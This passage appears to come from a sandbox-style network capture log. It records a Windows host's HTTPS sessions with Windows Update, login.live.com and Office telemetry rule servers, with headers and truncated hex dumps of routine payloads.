2024-10-29 03:17:52 UTC	11412	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49768	4.175.87.197	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:17:53 UTC	306	OUT	GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=PLAkm+BST3MllS1&MD=+y2vvvOK HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-10-29 03:17:53 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "vic+p1MiJJ+/WMnK08jaWnCBGDfvkGRzPk9f8ZadQHg=_1440" MS-CorrelationId: d17a7806-a8cf-40be-8d7e-dfb5ac5a2b3b MS-RequestId: 6cecde1e-15ce-4f29-9e7a-67bacd948331 MS-CV: 5Kbsk2oHkk+YrFrf.0 X-Microsoft-SLSClientCache: 1440 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Tue, 29 Oct 2024 03:17:53 GMT Connection: close Content-Length: 30005
2024-10-29 03:17:53 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 8d 2b 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 5b 49 00 00 14 00 00 00 00 00 10 00 8d 2b 00 00 a8 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 72 4d 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 fe f6 51 be 21 2b 72 4d 43 4b ed 7c 05 58 54 eb da f6 14 43 49 37 0a 02 d2 b9 86 0e 41 52 a4 1b 24 a5 bb 43 24 44 18 94 90 92 52 41 3a 05 09 95 ee 54 b0 00 91 2e e9 12 10 04 11 c9 6f 10 b7 a2 67 9f bd cf 3e ff b7 ff b3 bf 73 ed e1 9a 99 f5 c6 7a d7 bb de f5 3e cf fd 3c f7 dc 17 4a 1a 52 e7 41 a8 97 1e 14 f4 e5 25 7d f4 05 82 82 c1 20 30 08 06 ba c3 05 02 11 7f a9 c1 ff d2 87 5c 1e f4 ed 65 8e 7a 1f f6 0a 40 03 1d 7b f9 83 2c 1c 2f db b8 3a 39 3a 58 38 ba 73 5e Data Ascii: MSCF+D[I+IdrMenvironment.cabQ!+rMCK\|XTCI7AR$C$DRA:T.og>sz><JRA%} 0\ez@{,/:9:X8s^
2024-10-29 03:17:53 UTC	14181	IN	Data Raw: 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 26 30 24 06 03 55 04 03 13 1d 4d 69 63 72 6f 73 6f 66 74 20 54 69 6d 65 2d 53 74 61 6d 70 20 50 43 41 20 32 30 31 30 30 1e 17 0d 32 33 31 30 31 32 31 39 30 37 32 35 5a 17 0d 32 35 30 31 31 30 31 39 30 37 32 35 5a 30 81 d2 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 2d 30 2b 06 03 55 04 0b 13 24 4d 69 63 72 6f Data Ascii: UUS10UWashington10URedmond10UMicrosoft Corporation1&0$UMicrosoft Time-Stamp PCA 20100231012190725Z250110190725Z010UUS10UWashington10URedmond10UMicrosoft Corporation1-0+U$Micro

Session ID	Source IP	Source Port	Destination IP	Destination Port
12	192.168.2.4	49769	40.126.32.133	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:17:53 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4775 Host: login.live.com
2024-10-29 03:17:53 UTC	4775	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-10-29 03:17:53 UTC	569	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Tue, 29 Oct 2024 03:16:53 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C519_BAY x-ms-request-id: a7d56456-8807-4e6b-b957-480b60a1ae1c PPServer: PPV: 30 H: PH1PEPF0001B779 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Tue, 29 Oct 2024 03:17:53 GMT Connection: close Content-Length: 11412
2024-10-29 03:17:53 UTC	11412	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port
13	192.168.2.4	49771	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:17:55 UTC	195	OUT	GET /rules/other-Win32-v19.bundle HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 03:17:56 UTC	540	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:17:55 GMT Content-Type: text/plain Content-Length: 218853 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public Last-Modified: Mon, 28 Oct 2024 13:23:36 GMT ETag: "0x8DCF753BAA1B278" x-ms-request-id: 174434da-801e-0015-686a-29f97f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T031755Z-16849878b78p8hrf1se7fucxk800000006t000000000gk7u x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 03:17:56 UTC	15844	IN	Data Raw: 31 30 30 30 76 35 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 30 30 22 20 56 3d 22 35 22 20 44 43 3d 22 45 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 52 75 6c 65 45 72 72 6f 72 73 41 67 67 72 65 67 61 74 65 64 22 20 41 54 54 3d 22 66 39 39 38 63 63 35 62 61 34 64 34 34 38 64 36 61 31 65 38 65 39 31 33 66 66 31 38 62 65 39 34 2d 64 64 31 32 32 65 30 61 2d 66 63 66 38 2d 34 64 63 35 2d 39 64 62 62 2d 36 61 66 61 63 35 33 32 35 31 38 33 2d 37 34 30 35 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 53 3d 22 37 30 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 20 50 53 55 22 20 Data Ascii: 1000v5+<?xml version="1.0" encoding="utf-8"?><R Id="1000" V="5" DC="ESM" EN="Office.Telemetry.RuleErrorsAggregated" ATT="f998cc5ba4d448d6a1e8e913ff18be94-dd122e0a-fcf8-4dc5-9dbb-6afac5325183-7405" SP="CriticalBusinessImpact" S="70" DL="A" DCa="PSP PSU"
2024-10-29 03:17:56 UTC	16384	IN	Data Raw: 22 30 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 42 22 20 49 3d 22 35 22 20 4f 3d 22 66 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 2f 3e Data Ascii: "0" /> </L> <R> <V V="400" T="I32" /> </R> </O> </R> </O> </C> <C T="B" I="5" O="false"> <O T="AND"> <L> <O T="GE"> <L> <S T="1" F="0" />
2024-10-29 03:17:56 UTC	16384	IN	Data Raw: 20 20 3c 53 54 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 31 22 20 2f 3e 0d 0a 20 20 3c 2f 53 54 3e 0d 0a 3c 2f 52 3e 0d 0a 3c 24 21 23 3e 31 30 38 32 30 76 33 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 38 32 30 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 6f 6e 74 61 63 74 43 61 72 64 50 72 6f 70 65 72 74 69 65 73 43 6f 75 6e 74 73 22 20 41 54 54 3d 22 64 38 30 37 36 30 39 32 37 36 37 34 34 32 34 35 62 61 66 38 31 62 66 37 62 63 38 30 33 33 66 36 2d 32 32 36 38 65 33 37 34 2d 37 37 36 36 2d 34 39 37 36 2d 62 65 34 34 2d 62 36 61 64 35 62 64 64 63 35 62 36 2d 37 38 31 Data Ascii: <ST> <S T="1" /> </ST></R><$!#>10820v3+<?xml version="1.0" encoding="utf-8"?><R Id="10820" V="3" DC="SM" EN="Office.Outlook.Desktop.ContactCardPropertiesCounts" ATT="d807609276744245baf81bf7bc8033f6-2268e374-7766-4976-be44-b6ad5bddc5b6-781
2024-10-29 03:17:56 UTC	16384	IN	Data Raw: 20 54 3d 22 55 36 34 22 20 49 3d 22 38 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 45 76 65 6e 74 73 5f 41 76 67 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 41 76 65 72 61 67 65 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 39 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 41 67 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 34 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 30 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 35 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 Data Ascii: T="U64" I="8" O="false" N="Events_Avg"> <S T="2" F="Average" /> </C> <C T="U32" I="9" O="true" N="Purged_Age"> <S T="4" F="Count" /> </C> <C T="U32" I="10" O="true" N="Purged_Count"> <S T="5" F="Count" /> </C> <C T="U32"
2024-10-29 03:17:56 UTC	16384	IN	Data Raw: 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 43 61 72 64 5f 56 61 6c 69 64 50 65 72 73 6f 6e 61 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 43 61 72 64 5f 56 61 6c 69 64 4d 61 6e 61 67 65 72 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f Data Ascii: "0" O="false" N="Count_CreateCard_ValidPersona_False"> <C> <S T="10" /> </C> </C> <C T="U32" I="1" O="false" N="Count_CreateCard_ValidManager_False"> <C> <S T="11" /> </C> </C> <C T="U32" I="2" O="false" N="Co
2024-10-29 03:17:56 UTC	16384	IN	Data Raw: 20 20 20 20 3c 53 20 54 3d 22 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 39 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 57 61 73 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a Data Ascii: <S T="31" /> </C> </C> <C T="U32" I="19" O="false" N="Paint_IMsoPersona_WasNull_Count"> <C> <S T="32" /> </C> </C> <C T="U32" I="20" O="false" N="Paint_IMsoPersona_Null_Count"> <C> <S T="33" /> </C>
2024-10-29 03:17:56 UTC	16384	IN	Data Raw: 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 52 65 74 72 69 65 76 61 6c 4d 69 6c 6c 69 73 65 63 6f 6e 64 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 32 30 30 22 20 54 3d 22 49 36 34 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 52 65 74 72 69 65 76 61 6c 4d 69 6c 6c 69 73 65 63 Data Ascii: <S T="3" F="RetrievalMilliseconds" /> </L> <R> <V V="200" T="I64" /> </R> </O> </L> <R> <O T="LT"> <L> <S T="3" F="RetrievalMillisec
2024-10-29 03:17:56 UTC	16384	IN	Data Raw: 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 30 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 53 75 63 63 65 73 73 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e Data Ascii: R> <V V="0" T="I32" /> </R> </O> </F> </S> <C T="U32" I="0" O="false" N="Ocom2IUCOfficeIntegrationFirstCallSuccessCount"> <C> <S T="9" /> </C> </C> <C T="U32" I="1" O="false" N="Ocom2IUCOfficeIn
2024-10-29 03:17:56 UTC	16384	IN	Data Raw: 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 36 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 54 65 6e 61 6e 74 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 55 73 65 72 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: R> </O> </F> <F T="6"> <O T="AND"> <L> <S T="3" F="Tenant enabled" /> </L> <R> <O T="EQ"> <L> <S T="3" F="User enabled" /> </L>
2024-10-29 03:17:56 UTC	16384	IN	Data Raw: 54 3d 22 36 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 48 74 74 70 53 74 61 74 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 34 22 20 54 3d 22 55 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 37 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c Data Ascii: T="6"> <O T="EQ"> <L> <S T="2" F="HttpStatus" /> </L> <R> <V V="404" T="U32" /> </R> </O> </F> <F T="7"> <O T="AND"> <L> <O T="GE"> <

Session ID	Source IP	Source Port	Destination IP	Destination Port
14	192.168.2.4	49775	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:17:57 UTC	192	OUT	GET /rules/rule120609v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 03:17:57 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:17:57 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB56D3AFB" x-ms-request-id: c3a6d21e-601e-00ab-1dc6-2766f4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T031757Z-17c5cb586f6f8m6jnehy0z65x4000000054000000000g4zf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 03:17:57 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 44 64 5d 5b 45 65 5d 5b 4c 6c 5d 5b 4c 6c 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120609" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120682" /> <SR T="2" R="^([Dd][Ee][Ll][Ll])"> <S T="1" F="0" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
15	192.168.2.4	49776	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:17:57 UTC	192	OUT	GET /rules/rule120600v4s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 03:17:57 UTC	584	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:17:57 GMT Content-Type: text/xml Content-Length: 2980 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 834668b8-301e-0052-121c-2765d6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T031757Z-16849878b78p49s6zkwt11bbkn00000005fg00000000rq69 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
